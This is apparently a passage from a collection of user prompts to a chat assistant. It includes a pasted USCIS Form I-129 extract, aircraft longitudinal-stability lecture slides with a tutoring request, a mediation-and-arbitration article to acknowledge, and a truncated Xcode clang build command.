confidence in the campaign process.\n\nA Gift Range Chart may appear to be a simple planning devise, but when you use it as the essential structure for your campaign, you’ll find that everything falls into place.\n\nHave more questions about capital campaigns or want one-on-one help crafting your strategy? Check out our complete FAQ guide or get in touch. We’ll be happy to help!]' -'Ok, now, I am showing you the form looks like:\n\nr\nUSCIS\nUse\nOnly\nPetition for a Nonimmigrant Worker\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\nClassification Approved\nConsulate/POE/PFI Notified\nExtension Granted\nCOS/Extension Granted\nReceipt Partial Approval (explain) Action Block\nClass:\nNo. of Workers:\nJob Code:\nValidity Dates:\nFrom:\nTo:\nAt:\nLegal Name of Individual Petitioner\nIf you are an individual filing this petition, complete Item Number 1. If you are a company or an organization filing this petition,\ncomplete Item Number 2.\nFamily Name (Last Name) Given Name (First Name) Middle Name\n1.\n4. Contact Information\nPart 1. Petitioner Information\n► START HERE - Type or print in black ink.\n2. Company or Organization Name\n3. Mailing Address of Individual, Company or Organization\nCity or Town State ZIP Code\nIn Care Of Name\nStreet Number and Name Apt. Ste. Flr. Number\nDaytime Telephone Number\nU.S. Social Security Number (if any)\nEmail Address (if any)\nIndividual IRS Tax Number\nMobile Telephone Number\nFederal Employer Identification Number (FEIN)\n5. Other Information\n► ►\nProvince Postal Code Country\n►\n(USPS ZIP Code Lookup)\n Page 1 of 36\nForm I-129 Edition 11/02/22\nPart 2. Information About This Petition (See instructions for fee information)\n1. Requested Nonimmigrant Classification (Write classification symbol):\n2. Basis for Classification (select only one box):\nNew employment.\nNew concurrent employment.\nChange of employer.\nAmended petition.\nChange in previously approved employment.\nContinuation of previously approved employment without change with the same employer.\n3. Provide the most recent petition/application receipt number for the\nbeneficiary. If none exists, indicate "None."\nNotify the office in Part 4. so each beneficiary can obtain a visa or be admitted. (NOTE: A petition is not required for\nE-1, E-2, E-3, H-1B1 Chile/Singapore, or TN visa beneficiaries.)\nChange the status and extend the stay of each beneficiary because the beneficiary(ies) is/are now in the United States in\nanother status (see instructions for limitations). This is available only when you check "New Employment" in Item\nNumber 2., above.\nExtend the stay of each beneficiary because the beneficiary(ies) now hold(s) this status.\nAmend the stay of each beneficiary because the beneficiary(ies) now hold(s) this status.\n4. Requested Action (select only one box):\nExtend the status of a nonimmigrant classification based on a free trade agreement. (See Trade Agreement Supplement\nto Form I-129 for TN and H-1B1.)\nChange status to a nonimmigrant classification based on a free trade agreement. (See Trade Agreement Supplement to\nForm I-129 for TN and H-1B1.)\n5. Total number of workers included in this petition. (See instructions relating to\nwhen more than one worker can be included.)\nPart 3. Beneficiary Information (Information about the beneficiary/beneficiaries you are filing for. Complete the\nblocks below. Use the Attachment-1 sheet to name each beneficiary included in this petition.)\n1. If an Entertainment Group, Provide the Group Name\n2. Provide Name of Beneficiary\nFamily Name (Last Name) Given Name (First Name) Middle Name\nFamily Name (Last Name) Given Name (First Name) Middle Name\n3. Provide all other names the beneficiary has used. Include nicknames, aliases, maiden name, and names from all previous marriages.\n4. Other Information\nDate of birth (mm/dd/yyyy) Gender\nMale Female\nU.S. Social Security Number (if any)\n►\n►\n►\na.\nb.\nc.\nd.\ne.\nf.\na.\nb.\nc.\nd.\ne.\nf.\n Page 2 of 36\nForm I-129 Edition 11/02/22\nDate Passport or Travel Document\nExpires (mm/dd/yyyy)\nCountry of Citizenship or Nationality\n6. Current Residential U.S. Address (if applicable) (do not list a P.O. Box)\nEmployment Authorization Document (EAD)\nNumber (if any)\nStudent and Exchange Visitor Information System (SEVIS) Number (if\nany)\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\nCurrent Nonimmigrant Status Date Status Expires or D/S (mm/dd/yyyy)\nPassport or Travel Document Country of\nIssuance\nDate Passport or Travel Document\nIssued (mm/dd/yyyy)\n5. If the beneficiary is in the United States, complete the following:\nCountry of Birth\nI-94 Arrival-Departure Record Number\n►\nPart 3. Beneficiary Information (Information about the beneficiary/beneficiaries you are filing for. Complete the\nblocks below. Use the Attachment-1 sheet to name each beneficiary included in this petition.) (continued)\nDate of Last Arrival (mm/dd/yyyy) Passport or Travel Document Number\nPart 4. Processing Information\n1. If a beneficiary or beneficiaries named in Part 3. is/are outside the United States, or a requested extension of stay or change of\nstatus cannot be granted, state the U.S. Consulate or inspection facility you want notified if this petition is approved.\na. Type of Office (select only one box):\nb. Office Address (City) c. U.S. State or Foreign Country\nConsulate Pre-flight inspection Port of Entry\nd. Beneficiary\'s Foreign Address\nCity or Town\nStreet Number and Name Apt.Ste. Flr. Number\nAlien Registration Number (A-Number)\nAProvince of Birth\n►\n2. Does each person in this petition have a valid passport?\nState\nPostal Code Country\nYes No. If no, go to Part 9. and type or print your\nexplanation.\nProvince\n Page 3 of 36\nForm I-129 Edition 11/02/22\nPart 4. Processing Information (continued)\n5. Are you filing any applications for dependents with this petition?\nYes. If yes, proceed to Part 9. and list the beneficiary\'s(ies) name(s).\nYes. If yes, how many? ►\nYes. If yes, answer the questions below. No. If no, proceed to Item Number 9.\n4. Are you filing any applications for replacement/initial I-94, Arrival-Departure Records with this petition? Note that if the\nbeneficiary was issued an electronic Form I-94 by CBP when he/she was admitted to the United States at an air or sea port, he/\nshe may be able to obtain the Form I-94 from the CBP Website at www.cbp.gov/i94 instead of filing an application for a\nreplacement/initial I-94.\n9. Have you ever previously filed a nonimmigrant petition for this beneficiary?\n7. Have you ever filed an immigrant petition for any beneficiary in this petition?\n6. Is any beneficiary in this petition in removal proceedings?\n8. Did you indicate you were filing a new petition in Part 2.?\na. Has any beneficiary in this petition ever been given the classification you are now requesting within the last seven years?\nb. Has any beneficiary in this petition ever been denied the classification you are now requesting within the last seven years?\n10. If you are filing for an entertainment group, has any beneficiary in this petition not been with the group for at least one year?\n11.b. If you checked yes in Item Number 11.a., provide the dates the beneficiary maintained status as a J-1 exchange visitor or J-2\ndependent. Also, provide evidence of this status by attaching a copy of either a DS-2019, Certificate of Eligibility for Exchange\nVisitor (J-1) Status, a Form IAP-66, or a copy of the passport that includes the J visa stamp.\n11.a. Has any beneficiary in this petition ever been a J-1 exchange visitor or J-2 dependent of a J-1 exchange visitor?\nPart 5. Basic Information About the Proposed Employment and Employer\n1. Job Title 2. LCA or ETA Case Number\n►\n►\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nYes. If yes, how many?\nYes. If yes, how many?\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Item Number 11.b.\nAttach the Form I-129 supplement relevant to the classification of the worker(s) you are requesting.\n3. Are you filing any other petitions with this one?\nYes. If yes, how many? ► No\n Page 4 of 36\nForm I-129 Edition 11/02/22\nPart 5. Basic Information About the Proposed Employment and Employer (continued)\n4. Did you include an itinerary with the petition?\n5. Will the beneficiary(ies) work for you off-site at another company or organization\'s location?\n12. Type of Business 13. Year Established\n14. Current Number of Employees in the United States 15. Gross Annual Income 16. Net Annual Income\n10. Other Compensation (Explain)\n11. Dates of intended employment From: To:\n7. Is this a full-time position?\n6. Will the beneficiary(ies) work exclusively in the Commonwealth of the Northern Mariana Islands (CNMI)?\n8. If the answer to Item Number 7. is no, how many hours per week for the position? ►\n►\n(mm/dd/yyyy) (mm/dd/yyyy)\nNo\nYes\nNo\nYes No\nYes\nNo\nYes\n9. Wages: $ per (Specify hour, week, month, or year)\n3. Address where the beneficiary(ies) will work if different from address in Part 1.\nStreet Number and Name Apt. Ste. Flr. Number\nCity or Town State ZIP Code\n Page 5 of 36' -'Moving to Lecture 12:\n```\nSlide 1:\nGeneral Longitudinal Trim Equations\nIn the analysis presented so far, we ignored contributions from the fuselage and other external payload\nThe total pitching moment on the aircraft at equilibrium can be written as\n$$\nM=M\\_0+M\\_\\alpha \\alpha+M\\_\\delta \\delta=0\n$$\nwhere $\\delta$ is the control surface deflection\nThe incremental moment after a perturbation $\\Delta \\alpha$ is given by\n$$\n\\Delta M=M\\_\\alpha \\Delta \\alpha\n$$\nTherefore, the condition for static stability can be written as $M\\_\\alpha<0$\nAll the cases examined until this point are essentially specific examples of this generic condition\nRecall: this is also a necessary condition for the stability of the short period dynamics\n\nSlide 2:\nNeutrally Stable Configurations and Trim\nThe equilibrium pitching moment is given by\n$$\nM=M\\_0+M\\_\\alpha \\alpha+M\\_\\delta \\delta=0 \\Longrightarrow \\alpha=-\\frac{M\\_\\delta}{M\\_\\alpha} \\delta\n$$\nIf $\\left|M\\_\\alpha\\right|$ is very small (close to zero), the angle of attack changes by large amounts even for small elevator deflection. This is highly undesirable.\nSuppose $M\\_\\alpha=0$. Then, at equilibrium,\n$$\nM=M\\_0+M\\_\\delta \\delta=0\n$$\nThe angle of attack is nowhere in the picture! Therefore, without active control, the aircraft can trim at any angle of attack, i.e., there is no control whatsoever on the trim value of $\\alpha$\n\nSlide 3: Control Surface Actuation\nLongitudinal control surfaces are actuated by a combination of actuators\nElectro-mechanical actuators connected to the flight computer\nHydraulic actuators connected to the flight computer as well\nas the control column in the cockpit\nIn small aircraft, mechanical wires and pulleys connected\ndirectly to the control column\nThe pilot exerts a force on the control column; the force is transmitted to\nthe actuator to move the control surface\nThe control surface exerts an opposing force.\nEquilibrium: the two forces are equal and cancel each other\n\nSlide 4:\nStick-Free Versus Stick-Fixed Stability\n\nSo far, we assumed that the elevator deflection is constant, for which the\npilot would have to hold the control column in one place manually.\nThe stability that we have looked at so far is therefore called “stick-fixed”\nstability\nIn nominal trim flight, the pilot takes his hands o↵ the control column\nIn doing so, he “arranges” for a certain amount of force to be applied to\nthe elevator at all times\nThe elevator is no longer statically deflected; it has a dynamics of its own\nThe dynamics of the elevator affect the stability of the aircraft. This is\ncalled “stick-free” stability\n\nSlide 5:\nStick-Free Stability\nRecall the trim equation for pitching moment:\n$$\nM=M\\_0+M\\_\\alpha \\alpha+M\\_\\delta \\delta\n$$\nSuppose now that we can write $\\delta=H\\_0+H\\_\\alpha \\alpha$, for some constants $H\\_0$ and $H\\_\\alpha$\nSubstituting into the pitching moment expression yields\n$$\nM=\\left(M\\_0+M\\_\\delta H\\_0\\right)+\\left(M\\_\\alpha+M\\_\\delta H\\_\\alpha\\right) \\alpha\n$$\nStatic stability condition: $M\\_\\alpha+M\\_\\delta H\\_\\alpha<0$\nIf $M\\_\\delta H\\_\\alpha>0$, then we need a much more negative $M\\_\\alpha$\n- The NP shifts forward, towards the wing $A C$\n- The static margin reduces\nUsually, $M\\_\\delta<0$ (rear-mounted surface); thus, $H\\_\\alpha<0$ is destabilizing and vice-versa\n\nSlide 6:\nThe Elevator Trim Tab\nThe trim tab is a small flap located on the elevator\nPurpose: enable the pilot to set the elevator to any desired angle so that\nthe force on the stick is zero\nPrinciple: The trim tab behaves like an independent symmetric airfoil.\nThe force on the tab produces a moment which adds on to the moment\ndue to the stick force\n\nSlide 7: Stick-Free Control\n- Objective: find the tab deflection angle $\\delta\\_{t a b}$ to achieve zero hinge moment\n- Moment from the elevator: $M\\_e=\\frac{1}{2} \\rho V^2 S\\_e C\\_{L \\alpha}^e\\left(\\alpha+\\delta\\_e\\right) x\\_e$\n- Moment from the trim tab: $M\\_{t a b}=\\frac{1}{2} \\rho V^2 S\\_{t a b} C\\_{L \\alpha}^{t a b}\\left(\\alpha+\\delta\\_{t a b}\\right) x\\_{t a b}$\n- Equilibrium is achieved when $M\\_e+M\\_{t a b}=0$\n- The trim elevator angle is given by\n$$\n\\delta\\_e=\\left(-\\frac{S\\_{t a b} x\\_{t a b} C\\_{L \\alpha}^{t a b}}{S\\_e x\\_e C\\_{L \\alpha}^e}-1\\right) \\alpha-\\left(\\frac{S\\_{t a b} x\\_{t a b} C\\_{L \\alpha}^{t a b}}{S\\_e x\\_e C\\_{L \\alpha}^e}\\right) \\delta\\_{t a b}\n$$\nCompare with $\\delta=H\\_0+H\\_\\alpha \\alpha$ : clearly, $H\\_\\alpha<0$\n- Stick-free configurations are less stable than stick-fixed configurations\n\nSlide 8:\nEffect of Downwash on the Horizontal Tail\nDownwash reduces the angle of attack of the horizontal tail\nAngle of attack of the vertical tail in a static setting\n$$\n\\alpha\\_t=\\underbrace{\\alpha+i\\_t}\\_{\\text {geometric }}-\\underbrace{\\epsilon}\\_{\\text {downwash }}\n$$\nThe downwas is written as $\\epsilon=\\epsilon\\_0+\\epsilon\\_\\alpha \\alpha>0$, so that\n$$\n\\alpha\\_t=\\alpha\\left(1-\\epsilon\\_\\alpha\\right)+i\\_t-\\epsilon\\_0\n$$\nRewrite $M\\_\\alpha$ :\n$$\nC\\_{M\\_\\alpha}=\\frac{x\\_{A C}}{c} C\\_{L\\_\\alpha}^w-V\\_H C\\_{L\\_\\alpha}^t\\left(1-\\epsilon\\_\\alpha\\right)\n$$\nClearly, downwash reduces the longitudinal-stability of the aircraft\nNeutral point shifts forward to satisfy $\\frac{X\\_{A C}}{C}=V\\_H\\left(1-\\epsilon\\_\\alpha\\right)$\n\nSlide 9:\nLongitudinal Control\n$$\n\\begin{aligned}\n\\dot{q} & =\\frac{M\\left(\\alpha, q, \\delta\\_e\\right)}{I\\_{y y}} \\\\\n\\dot{\\alpha} & =q-\\frac{1}{m V}(L-m g \\cos \\gamma) \\\\\n\\dot{\\gamma} & =\\frac{1}{m V}(L-m g \\cos \\gamma) \\\\\n\\dot{V} & =\\frac{1}{m}(T-D)-g \\sin \\gamma\n\\end{aligned}\n$$\n- Longitudinal control inputs: thrust $(T)$ and elevator deflection $\\delta\\_e$\n- Elevator deflection $\\delta\\_e$ controls the pitching motion of the aircraft\n- Angle of attack controls $\\dot{\\gamma}$ (primary) and $\\dot{V}$ (secondary)\n- Thrust: controls $\\dot{V}$\n- Recall the steady state influence of $T$ and $\\alpha$ :\n$$\nV^2=\\frac{2 W \\cos \\gamma}{\\rho S C\\_L}, \\sin \\gamma=\\frac{T-D}{W}\n$$\n\nSlide 10:\nPitch Control Using the Elevator\n- The elevator deflection $\\delta\\_e$ is defined positive downwards\n- Lift due to elevator deflection $\\partial L / \\partial \\delta\\_e>0$\n- Therefore, $M\\_{\\delta\\_e}=\\partial M / \\partial \\delta\\_e<0$\nPitch Equilibrium\n- Recall that the pitching dynamics are given by\n$$\n\\dot{\\alpha}=q-\\dot{\\gamma} ; \\quad \\dot{q}=\\frac{M}{I\\_{y y}}\n$$\nFor equilibrium, we need $M=0$ and $q=0$\nBut $M=M\\_0+M\\_\\alpha \\alpha+M\\_q q+M\\_{\\delta\\_e} \\delta\\_e$\n- Hence, the trim angle of attack is given by\n$$\n\\alpha^0=\\frac{-\\left(M\\_{\\delta\\_e} \\delta\\_e+M\\_0\\right)}{M\\_\\alpha}=-\\frac{M\\_{\\delta\\_e}}{M\\_\\alpha} \\delta\\_e-\\frac{M\\_0}{M\\_\\alpha}\n$$\nIn a stable aircraft, $M\\_\\alpha<0$; also, $M\\_{\\delta\\_e}<0$ when the horizontal tail is located aft of the CG\n\n```\nNow get started with your tutoring for lecture 12. Remember, You are a a well accomplished educational tutor. You teach concepts from ground up and ensure your tutee has understood the concept in the best way possible. You take inputs from the tutee containing his study material and present it in a well understandable format, using the best tutoring practices for making your tutee excel in his university exams. Today, I need you to teach Longitudinal and Lateral-Directional Stability in aircrafts. I shall be providing you slide by slide content and you shall begin your tutoring accordingly. The syllabus for the upcoming test is lectures 10-15. The content of the 12th lecture was as given.' -'This is the first content. Also, provide me with the headings of the first content.\nI only want you to reply "acknowledged" to remember the first content. I will give you the next content after you acknowledge the first content. \n\nWhat is Mediation and Arbitration?\nMediation and arbitration can help parties solve serious conflicts without the expense and hassle of litigation.\nWhat’s the difference between mediation and arbitration? In a mediation process, a neutral, trained mediator works to help disputants come to a consensus on their own. In arbitration, a neutral, trained arbitrator serves as a judge who is responsible for resolving the dispute.\n\nMediation is appealing because it allows parties to reach a collaborative settlement, but it could end in impasse. Arbitration, on the other hand, can wrap up a dispute conclusively, but it doesn’t give disputants much say in the outcome.\n\nA hybrid approach called med-arb combines the benefits of both mediation and arbitration techniques.\n\nIn this mediation and arbitration hybrid, parties first attempt to collaborate on an agreement with the help of a mediator. If the mediation ends in impasse, or if issues remain unresolved, the parties can then move on to arbitration.\n\nThe mediator can assume the role of arbitrator (if qualified) and render a binding decision quickly, or an arbitrator can take over the case after consulting with the mediator.\n\nIf you are considering med-arb (or arb-med), or if another party has recommended it to you, weigh the potential benefits and concerns carefully. Med-arb has a proven ability to get disputes resolved relatively quickly and amicably, but making a single choice between mediation and arbitration is often be sufficient to meet your needs.\n\nTo learn more about mediation, claim your FREE copy of Mediation Secrets for Better Business Negotiations: Top Techniques from Mediation Training Experts. In this free special report, the editors of Negotiation provide you with insights into why mediation is the preferred method of dispute resolution for most managers. Throughout the report, you will discover how to select the right mediator, come to understand the mediation process, and learn how to engage the mediator to ensure a good outcome.\n\nThe following items are tagged mediation and arbitration:\n\nWhat is Med-Arb?\nPOSTED MARCH 6TH, 2023 BY KATIE SHONK & FILED UNDER MEDIATION.\n\nWhen parties find themselves involved in a serious conflict, they often try to avoid the expense and hassle of litigation by turning to one of the two most common alternative dispute resolution processes: mediation or arbitration. Disputants who are concerned about these drawbacks might want to consider a hybrid mediation-arbitration approach called med-arb. … READ WHAT IS MED-ARB? \n\nHow to Manage Conflict at Work\nPOSTED FEBRUARY 23RD, 2023 BY KATIE SHONK & FILED UNDER CONFLICT RESOLUTION.\n\nSooner or later, almost all of us will find ourselves trying to cope with how to manage conflict at work. At the office, we may struggle to work through high-pressure situations with people with whom we have little in common. We need a special set of strategies to calm tempers, restore order, and meet each … READ HOW TO MANAGE CONFLICT AT WORK \n\nChoose the Right Dispute Resolution Process\nPOSTED FEBRUARY 20TH, 2023 BY KATIE SHONK & FILED UNDER DISPUTE RESOLUTION.\n\nWhat is dispute resolution? There are three basic types of dispute resolution, each with its pros and cons. The first two, mediation and arbitration, are considered types of alternative dispute resolution because they are an alternative to litigation. … READ CHOOSE THE RIGHT DISPUTE RESOLUTION PROCESS \n\nWhat is an Arbitration Agreement?\nPOSTED JANUARY 16TH, 2023 BY KATIE SHONK & FILED UNDER CONFLICT RESOLUTION.\n\nIf you have ever owned a cell phone or been issued a credit card, odds are you’ve signed an arbitration agreement. You also may have signed an arbitration agreement when you started your current job or a past one, whether you remember doing so or not. … READ WHAT IS AN ARBITRATION AGREEMENT? \n\nArbitration vs Mediation: The Definition of Mediation as a Problem Solving Process\nPOSTED DECEMBER 26TH, 2022 BY LAWRENCE SUSSKIND & FILED UNDER MEDIATION.\n\nMediation is often thought of as a last step to adjudicate disputes. In this article, professor Lawrence Susskind spells out the hidden advantages of using mediation early in the process to solve problems and reach voluntary compliance agreements. … READ MORE \n\nWhat Is an Umbrella Agreement?\nPOSTED DECEMBER 13TH, 2022 BY KATIE SHONK & FILED UNDER DISPUTE RESOLUTION.\n\nBusiness negotiators tend to want the best of both worlds. When reaching an agreement, they want to pin down parties’ respective rights and responsibilities, but they also want to retain the flexibility they need to deal with ever-changing business conditions. One solution to this apparent dilemma is to craft an umbrella agreement. … READ WHAT IS AN UMBRELLA AGREEMENT? \n\nAlternative Dispute Resolution (ADR) Training: Mediation Curriculum\nPOSTED DECEMBER 8TH, 2022 BY PON STAFF & FILED UNDER MEDIATION.\n\nIn 2009, we collected many types of curriculum materials from teachers and trainers who attended the Mediation Pedagogy Conference. We received general materials about classes on Alternative Dispute Resolution (ADR) as well as highly specific and idiosyncratic units like Conflict Resolution through Literature: Romeo and Juliet and a negotiating training package for female managers … READ MORE \n\nWhy is Negotiation Important: Mediation in Transactional Negotiations\nPOSTED NOVEMBER 22ND, 2022 BY PON STAFF & FILED UNDER MEDIATION.\n\nWe generally think of mediation as a dispute-resolution device. Federal mediators intervene when collective bargaining breaks down. Diplomats are sometimes called in to mediate conflicts between nations. So-called multi-door courthouses encourage litigants to mediate before incurring the costs – and risks – of going to trial. … READ MORE \n\nWhat are the Three Basic Types of Dispute Resolution? What to Know About Mediation, Arbitration, and Litigation\nPOSTED OCTOBER 10TH, 2022 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nWhen it comes to dispute resolution, we now have many choices. Understandably, disputants are often confused about which process to use. … READ MORE \n\nA Negotiation Impasse Between England and France Leads to Skirmish Over Scallops\nPOSTED SEPTEMBER 15TH, 2022 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nWhen parties are fighting for scarce resources, disputes can become intense. Negotiation is often the answer, but agreements may need to be continually revisited to keep the peace, and a negotiation impasse can result in renewed conflict. That’s the main takeaway from the dispute that erupted in the English Channel between French and British fishermen … READ MORE \n\nWhat is Alternative Dispute Resolution?\nPOSTED DECEMBER 1ST, 2020 BY KATIE SHONK & FILED UNDER DISPUTE RESOLUTION.\n\nSo, you’re stuck in a serious dispute, but you’re desperate to avoid the hassle and expense of a court case. You’ve heard about alternative dispute resolution but are not sure what it entails. … READ WHAT IS ALTERNATIVE DISPUTE RESOLUTION? \n\nUndecided on Your Dispute Resolution Process? Combine Mediation and Arbitration, Known as Med-Arb\nPOSTED OCTOBER 6TH, 2020 BY PON STAFF & FILED UNDER MEDIATION.\n\nThe choice: arbitration vs. mediation. You’re not sure which of two common dispute resolution processes, mediation or arbitration, to use to resolve your conflict. … READ MORE \n\nHow Fast-Food Workers Used Alternative Dispute Resolution (ADR) to Demand Higher Wages\nPOSTED SEPTEMBER 29TH, 2020 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nLabor unions are the most obvious example of negotiating coalitions. If an individual employee made demands of its employer, the company could threaten to hire someone else. … READ MORE \n\nCapture the Best of Mediation and Arbitration\nPOSTED DECEMBER 12TH, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nThe problem: You’re not sure which of the two most common dispute-resolution processes, mediation or arbitration, to use to resolve your conflict. Mediation is appealing because it would allow you to reach a collaborative settlement, but you’re worried it could end in impasse. You know that arbitration would wrap up your dispute conclusively, but it … READ CAPTURE THE BEST OF MEDIATION AND ARBITRATION \n\nHow to Deal with a Difficult Mediator\nPOSTED NOVEMBER 1ST, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nFrancesca Gino, Program on Negotiation faculty member and author of the bestselling book, Sidetracked: Why Our Decisions Get Derailed and How We Can Stick to the Plan, tackles this question from a Negotiation Briefings reader concerning how to deal with a mediator that is abrasive, dismissive, or even rude. … READ HOW TO DEAL WITH A DIFFICULT MEDIATOR \n\nUsing Mediators to Resolve Disputes\nPOSTED SEPTEMBER 1ST, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nYou’ve seen how mediators can help one organizational team prepare for a complex negotiation. But what about when litigation looms? … READ USING MEDIATORS TO RESOLVE DISPUTES \n\nHow to Conduct a Mediation During Crisis Negotiations\nPOSTED AUGUST 2ND, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nThe most difficult peace negotiations in recent decades—in Ireland, the Middle East, the former Yugoslavia, and Sri Lanka—were plagued by a common enemy: violent disruptions by spoilers opposed to the peace process. In each of these cases, extremists stalled negotiations by creating security crises that divided public opinion and drove negotiators apart. … READ MORE \n\nHow Your Organization Can Benefit from Mediation Techniques\nPOSTED JULY 14TH, 2016 BY KATIE SHONK & FILED UNDER MEDIATION.\n\nIf you manage people, disputes will show up at your door. The marketing VP protests that the budget cap you and your new finance VP proposed is hindering a research initiative you supported. Two young sales representatives are embroiled in a turf war. Your administrative assistant is upset because the HR director won’t approve the … READ MORE \n\nMake the Most of Mediation in Negotiations and Dispute Resolution\nPOSTED JUNE 6TH, 2016 BY PON STAFF & FILED UNDER MEDIATION.\n\nWhat at first seemed like a minor misunderstanding has spiraled out of control. A Chicago-based printing company hired your Chicago-based IT consulting firm to train its staff to use its new computer system. … READ MORE \n\nAnnouncing the 2015 PON Summer Fellows\nPOSTED MAY 21ST, 2015 BY PON STAFF & FILED UNDER DAILY, OPPORTUNITIES FOR STUDENTS, SUMMER FELLOWSHIP GRANTS.\n\nAbout the PON Summer Fellowship Program: PON offers fellowship grants to students at Harvard University, MIT, Tufts University and other Boston-area schools who are doing internships or undertaking summer research projects in negotiation and dispute resolution in partnership with public, non-profit or academic organizations. The Summer Fellowship Program’s emphasis is on advancing the links between scholarship … READ ANNOUNCING THE 2015 PON SUMMER FELLOWS \n\nInterdisciplinary and International Perspectives on ADR: Past, Present, and Future\nPOSTED APRIL 8TH, 2015 BY PON STAFF & FILED UNDER DAILY, EVENTS.\n\nThe Program on Negotiation at Harvard Law School is pleased to present: Interdisciplinary and International Perspectives on ADR: Past, Present, and Future with\n\nDr. Paola Cecchi-Dimeglio Editor, Interdisciplinary Handbook of Dispute Resolution\n\nWednesday, April 15, 2015 12:00 – 1:30PM Pound Hall 102 Harvard Law School campus Free and open to the public. A non-pizza lunch will be provided. About the Book: Over the last three decades, Alternative Dispute Resolution (ADR) … READ MORE \n\nBet you didn’t know…Negotiation research you can use\nPOSTED DECEMBER 15TH, 2013 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nAs state and local governments in the United States have been stretched to the breaking point, conflicts between public-sector employers and employees have become increasingly acrimonious, often resulting in stalemates. When governments and employee unions reach impasse, they often turn to alternative dispute-resolution practices such as mediation and arbitration. Though these practices can be successful, the … READ MORE \n\nTaking Alternative Dispute Resolution (ADR) Too Far\nPOSTED FEBRUARY 27TH, 2013 BY PON STAFF & FILED UNDER MEDIATION.\n\nMore and more companies are inserting alternative dispute resolution (ADR) clauses in their contracts with customers and vendors, and even in agreements with their own employees. ADR processes such as mediation and arbitration can be beneficial for all concerned if they help avoid the cost, delay, and uncertainty of going to court. Mediation, in particular, … READ MORE \n\nMediation, Arbitration, and the Promise of Privacy\nPOSTED OCTOBER 22ND, 2012 BY PON STAFF & FILED UNDER MEDIATION.\n\nNegotiators often choose to resolve their conflicts through mediation, arbitration, and other alternative dispute resolution methods because of the privacy these methods promise. Unlike the public nature of litigation, mediation and arbitration typically give parties the freedom to hash out sensitive issues without the fear that their discussions and agreement will become public knowledge. Two … READ MORE \n\nTaking ADR Too Far\nPOSTED JUNE 1ST, 2012 BY PON STAFF & FILED UNDER DISPUTE RESOLUTION.\n\nMore and more companies are inserting alternative dispute resolution (ADR) clauses in their contracts with customers and vendors, and even in agreements with their own employees. ADR processes such as mediation and arbitration can be beneficial for all concerned if they help avoid the cost, delay, and uncertainty of going to court. Mediation, in particular, … READ TAKING ADR TOO FAR \n\nAre You Overlooking Mediation?\nPOSTED JULY 19TH, 2010 BY PON STAFF & FILED UNDER DAILY, MEDIATION.\n\nAdapted from “Why Aren’t Mediation and Arbitration More Popular?” First published in the Negotiation newsletter. Many scholars have noted that the business community would greatly benefit from third-party dispute resolution services. The problem is, there isn’t much demand for mediation or arbitration. If the alternative dispute resolution field has in fact built a better mousetrap, why … READ ARE YOU OVERLOOKING MEDIATION? \n\nConflict within Companies\nPOSTED JUNE 9TH, 2008 BY PON STAFF & FILED UNDER CONFLICT RESOLUTION.\n\nConflict within companies can be very costly, both in time and resources. Alternative Dispute Resolution, or ADR, may be helpful as you consider ways in which you can transition from conflict to productivity within your own organization. The three most common ADR techniques are: mediation, arbitration, and med-arb. During mediation a neutral third party facilitates a … READ CONFLICT WITHIN COMPANIES' -"cd /Users/jameschege/WebstormProjects/supanova/ios/Pods\n /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang -x objective-c -target arm64-apple-ios12.4-simulator -fmessage-length\\=0 -fdiagnostics-show-note-include-stack -fmacro-backtrace-limit\\=0 -std\\=gnu11 -fobjc-arc -fmodules -fmodules-cache-path\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/ModuleCache.noindex -fmodules-prune-interval\\=86400 -fmodules-prune-after\\=345600 -fbuild-session-file\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/ModuleCache.noindex/Session.modulevalidation -fmodules-validate-once-per-build-session -Wnon-modular-include-in-framework-module -Werror\\=non-modular-include-in-framework-module -Wno-trigraphs -fpascal-strings -O0 -fno-common -Wno-missing-field-initializers -Wno-missing-prototypes -Werror\\=return-type -Wdocumentation -Wunreachable-code -Wno-implicit-atomic-properties -Werror\\=deprecated-objc-isa-usage -Wno-objc-interface-ivars -Werror\\=objc-root-class -Wno-arc-repeated-use-of-weak -Wimplicit-retain-self -Wduplicate-method-match -Wno-missing-braces -Wparentheses -Wswitch -Wunused-function -Wno-unused-label -Wno-unused-parameter -Wunused-variable -Wunused-value -Wempty-body -Wuninitialized -Wconditional-uninitialized -Wno-unknown-pragmas -Wno-shadow -Wno-four-char-constants -Wno-conversion -Wconstant-conversion -Wint-conversion -Wbool-conversion -Wenum-conversion -Wno-float-conversion -Wnon-literal-null-conversion -Wobjc-literal-conversion -Wshorten-64-to-32 -Wpointer-sign -Wno-newline-eof -Wno-selector -Wno-strict-selector-match -Wundeclared-selector -Wdeprecated-implementations -Wno-implicit-fallthrough -DPOD\\_CONFIGURATION\\_DEBUG\\=1 -DDEBUG\\=1 -DCOCOAPODS\\=1 -DOBJC\\_OLD\\_DISPATCH\\_PROTOTYPES\\=0 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator16.2.sdk -fstrict-aliasing -Wprotocol -Wdeprecated-declarations -g -Wno-sign-conversion -Winfinite-recursion -Wcomma -Wblock-capture-autoreleasing -Wstrict-prototypes -Wno-semicolon-before-method-body -Wunguarded-availability -fobjc-abi-version\\=2 -fobjc-legacy-dispatch -index-store-path /Users/jameschege/Library/Developer/Xcode/DerivedData/supanova-bvnjjztkxgsuwgavvztpooigwump/Index.noindex/DataStore -iquote 